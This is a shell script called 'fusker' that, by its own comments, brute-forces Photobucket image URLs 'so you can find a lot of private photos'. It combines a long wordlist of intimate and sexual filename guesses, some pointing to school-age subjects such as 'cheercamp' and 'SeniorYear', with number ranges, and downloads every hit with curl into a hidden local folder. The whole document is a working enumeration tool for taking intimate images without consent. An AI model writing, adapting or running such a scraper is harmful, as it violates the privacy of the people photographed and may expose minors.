fusker
// A script which builds URLs of photobucket links so you can find a lot of private photos.
// brute-force like
// version 0.1
// I have a second version. But i messed it up. Maybe give it out later
// would like to write a python or C version with mysql support, gui and so on...
// brute-force like
// version 0.1
// I have a second version. But i messed it up. Maybe give it out later
// would like to write a python or C version with mysql support, gui and so on...
#!/bin/sh URL=$1 NUM=$2 PRE_IN=$3 SUFFIX=$4 DATE=`date +%Y-%m-%d_%H:%M` LINE="___________________________________________________________________________________________________________________________________" [ "$NUM" = "" ] && NUM=20 NUM1="[0-$NUM]" NUM2="[00-$NUM]" NUM3="[000-$NUM]" NUM4="[0000-$NUM]" URK=$(echo $URL | cut -d "/" -f-5) URI=$(echo $URL | awk -F/ '{ print $(NF) }') if [ "$PRE_IN" != "" ]; then if [ "$PRE_IN" == "NULL" ]; then PREFIX={}[$NUM]{$SUFFIX} PRE_OUT=$PREFIX else PREFIX={$PRE_IN}[$NUM]{$SUFFIX} PRE_OUT=$PREFIX fi else PRE_OUT="ALL" PREFIX=" {}$NUM4 {}$NUM3 {}$NUM2 {}$NUM3-1 {}$NUM3-1-1 {000_}$NUM4 {001_}$NUM4 {100_}$NUM4 {101_}$NUM4 {102_}$NUM4 {P000_}$NUM4-1 {P001_}$NUM4-1 {P100_}$NUM4-1 {P101_}$NUM4-1 {P102_}$NUM4-1 {2hot}$NUM2 {2hot}$NUM1 {4you} {4you}$NUM1 {4you_}$NUM1 {ABCD}$NUM4 {CIMG}$NUM4 {DSC0}$NUM4 {DSCF}$NUM4 {DSCI}$NUM4 {DSCN}$NUM4 {FreshmanYear}$NUM3 {HPIM}$NUM4 {IMGP}$NUM4 {IMG_}$NUM4 {Image}$NUM3 {MOV0}$NUM4 {MVI_}$NUM4 {P100}$NUM4 {P101}$NUM4 {P102}$NUM4 {PICT}$NUM4 {PIC_}$NUM4 {Photo}$NUM3 {Picture}$NUM3 {PictureorVideo}$NUM3 {S400}$NUM4 {S500}$NUM4 {S600}$NUM4 {S700}$NUM4 {SSPX}$NUM4 {SeniorYear}$NUM3 {bath} {bath}$NUM1 {bath_}$NUM1 {bathing} {bathing}$NUM1 {bathing_}$NUM1 {bathroom} {bathroom}$NUM1 {bathroom_}$NUM1 {bed} {bed}$NUM1 {bed_}$NUM1 {bedroom} {bedroom}$NUM1 {bedroom_}$NUM1 {boob} {boob}$NUM1 {boob_}$NUM1 {boobs} {boobs}$NUM1 {boobs_}$NUM1 {bra} {bra}$NUM1 {bra_}$NUM1 {butt}$NUM1 {butt} {buttcrack} {butts}$NUM1 {butts} {cam} {cam}$NUM1 {cam_}$NUM1 {capture} {capture}$NUM1 {capture_}$NUM1 {cellphone} {cellphone}$NUM1 {cellphone_}$NUM1 {cheer}$NUM2 {cheer}$NUM1 {cheer_}$NUM3 {cheercamp}$NUM3 {cheercamp}$NUM2 {crotch}$NUM1 {crotch} {cunt} {dance} {dance}$NUM1 {dance_}$NUM1 {dancing} {dancing}$NUM1 {dancing_}$NUM1 {delete} {delete00}$NUM1 {delete}$NUM1 {drinking} {drinking}$NUM1 {drinking_}$NUM1 {drunk} {drunk}$NUM1 {drunk_}$NUM1 {dyke} {dyke}$NUM1 {dyke_}$NUM1 {dykes} {dykes}$NUM1 {dykes_}$NUM1 {finger}$NUM2 {finger}$NUM1 {finger} {fingers}$NUM2 {fingers}$NUM1 {fingers} {flash} {flash}$NUM1 {flash_}$NUM1 {flasher} {flasher}$NUM1 {flasher_}$NUM1 {foryou} {foryou}$NUM1 {foryou_}$NUM1 {friends} {friends}$NUM1 {friends_}$NUM1 {fun} {fun}$NUM1 {fun_}$NUM1 {funny} {funny}$NUM1 {funny_}$NUM1 {happy} {happy}$NUM1 {happy_}$NUM1 {heelstretch}$NUM2 {heelstretch}$NUM1 {heelstretch} {heel stretch} {heel stretches} {heel stretches}$NUM1 {heel stretch}$NUM1 {hole}$NUM1 {hole} {imhot}$NUM2 {imhot} {junk} {junk}$NUM1 {junk_}$NUM1 {kiss} {kiss}$NUM1 {kiss_}$NUM1 {kisses} {kisses}$NUM1 {kisses_}$NUM1 {kissing} {kissing}$NUM1 {kissing_}$NUM1 {kitchen} {kitchen}$NUM1 {kitchen_}$NUM1 {lez} {lez}$NUM1 {lez_}$NUM1 {lezbo} {lezbo}$NUM1 {lezbo_}$NUM1 {me} {me}$NUM3 {me}$NUM2 {me}$NUM1 {me_}$NUM1 {mirror} {mirror}$NUM1 {mirror_}$NUM1 {mmm} {mmm}$NUM1 {mmm_}$NUM1 {model} {model}$NUM1 {model_}$NUM1 {modelling} {modelling}$NUM1 {modelling_}$NUM1 {mybody} {mybody}$NUM1 {mybody_}$NUM1 {myspace}$NUM3 {myspace} {myspace}$NUM1 {myspace_}$NUM1 {naked} {naked}$NUM1 {naked_}$NUM1 {naughty} {naughty}$NUM1 {naughty_}$NUM1 {new}$NUM1 {nipple} {nipple}$NUM1 {nipple_}$NUM1 {nipples} {nipples}$NUM1 {nipples_}$NUM1 {nude} {nude}$NUM1 {nude_}$NUM1 {ooh} {ooh}$NUM1 {ooh_}$NUM1 {outside} {outside}$NUM1 {outside_}$NUM1 {panties}$NUM2 {panties}$NUM1 {panties} {panties}$NUM1 {panties_}$NUM1 {party} {party}$NUM1 {party_}$NUM1 {peeing} {peeing}$NUM1 {peeing_}$NUM1 {peepee}$NUM1 {peepee} {photo} {photo}$NUM1 {photo_}$NUM1 {pic} {pic}$NUM1 {pic_}$NUM1 {pp}$NUM1 {private} {private}$NUM1 {private_}$NUM1 {privatephoto} {privatephoto}$NUM1 {privatephoto_}$NUM1 {privatepic} {privatepic}$NUM1 {privatepic_}$NUM1 {privates} {privates}$NUM1 {privates_}$NUM1 {rave} {rave}$NUM1 {rave_}$NUM1 {scorpion} {scorpion}$NUM1 {secret} {secret}$NUM1 {secret_}$NUM1 {secretphoto} {secretphoto}$NUM1 {secretphoto_}$NUM1 {secretpic} {secretpic}$NUM1 {secretpic_}$NUM1 {sex} {sex}$NUM1 {sex_}$NUM1 {sexy} {sexy}$NUM1 {sexy_}$NUM1 {shower} {shower}$NUM1 {shower_}$NUM1 {showering} {showering}$NUM1 {showering_}$NUM1 {skank}$NUM2 {skank}$NUM1 {skinnydipping} {skinnydipping}$NUM1 {skinnydipping_}$NUM1 {sleeping} {sleeping}$NUM1 {sleeping_}$NUM1 {smoking} {smoking}$NUM1 {smoking_}$NUM1 {sodrunk}$NUM2 {sodrunk}$NUM1 {soohot}$NUM2 {soohot}$NUM1 {soohot} {spank} {special} {special}$NUM1 {special_}$NUM1 {spread}$NUM2 {spread}$NUM1 {spread} {spreadeagle {squat}$NUM1 {squat} {stoned} {stoned}$NUM1 {stoned_}$NUM1 {stoner} {stoner}$NUM1 {stoner_}$NUM1 {stripper} {stripper}$NUM1 {stripper_}$NUM1 {stripping} {stripping}$NUM1 {stripping_}$NUM1 {striptease} {striptease}$NUM1 {striptease_}$NUM1 {stuff} {stuff}$NUM1 {stuff_}$NUM1 {swimming} {swimming}$NUM1 {swimming_}$NUM1 {thing}$NUM3 {thing}$NUM2 {thingg}$NUM3 {thingg}$NUM2 {threesome} {threesome}$NUM1 {threesome_}$NUM1 {toilet} {toilet}$NUM1 {toilet_}$NUM1 {untitled} {untitled}$NUM1 {untitled}$NUM2 {underwear} {underwear}$NUM1 {underwear_}$NUM1 {VIDEO}$NUM4 {video} {video}$NUM1 {video_}$NUM1 {7webcam} {webcam}$NUM1 {webcam_}$NUM1 {$URI}$NUM1 {$URI}$NUM2 " fi #echo $NUM #echo $NUM4 #echo "PREFIX: "$PREFIX MYPATH=/home/joe/_Multimedia/_Video/.XXX/fusker/$URI [ -d $MYPATH ] || mkdir -p $MYPATH FILE=$MYPATH/$DATE"_"$PRE_OUT echo "FILE: " $FILE echo -e "$DATE \n$URL \nRange: $NUM \nPrefixes: \n$PREFIX \n $LINE" >> $FILE for PRE in $PREFIX do if [ "$4" != "" ]; then curl $URK/$URI/$PRE.jpg -f -o $MYPATH/#1#2#3.jpg --create-dirs else curl $URK/$URI/$PRE.jpg -f -o $MYPATH/#1#2.jpg --create-dirs fi echo "exit status of \"wgeter \" = $?" # 1 done echo "Erfolgreich abgeschlossen" >> $FILE